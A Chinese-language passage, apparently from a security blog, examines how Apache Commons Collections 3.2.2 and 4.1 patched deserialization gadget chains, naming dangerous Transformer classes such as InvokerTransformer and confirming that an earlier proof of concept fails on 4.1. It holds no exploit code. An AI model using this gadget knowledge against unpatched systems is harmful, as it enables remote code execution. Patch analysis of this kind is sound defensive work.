先看3.2.2,通过diff可以发现,新版代码中增加了⼀个⽅法 FunctorUtils#checkUnsafeSerialization ,⽤于检测反序列化是否安全。如果开发者没有设置全 局配置 org.apache.commons.collections.enableUnsafeSerialization=true ,即默认情况下会 抛出异常。 这个检查在常⻅的危险Transformer类 ( InstantiateTransformer 、 InvokerTransformer 、 PrototypeFactory 、 CloneTransforme r 等)的 readObject ⾥进⾏调⽤,所以,当我们反序列化包含这些对象时就会抛出⼀个异常

再看4.1,修复⽅式⼜不⼀样。4.1⾥,这⼏个危险Transformer类不再实现 Serializable 接⼝,也就 是说,他们⼏个彻底⽆法序列化和反序列化了。更绝。

我们来实际简单验证一下,切换为 4.1 版本

        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.1</version>
        </dependency>

运行原 POC 报错

进入 InvokerTransformer 类细节,发现确实是不再实现 Serializable ,将在序列化阶段即失败(即使本地伪造序列化流,在远端反序列化也会不成功)




国家一级保护废物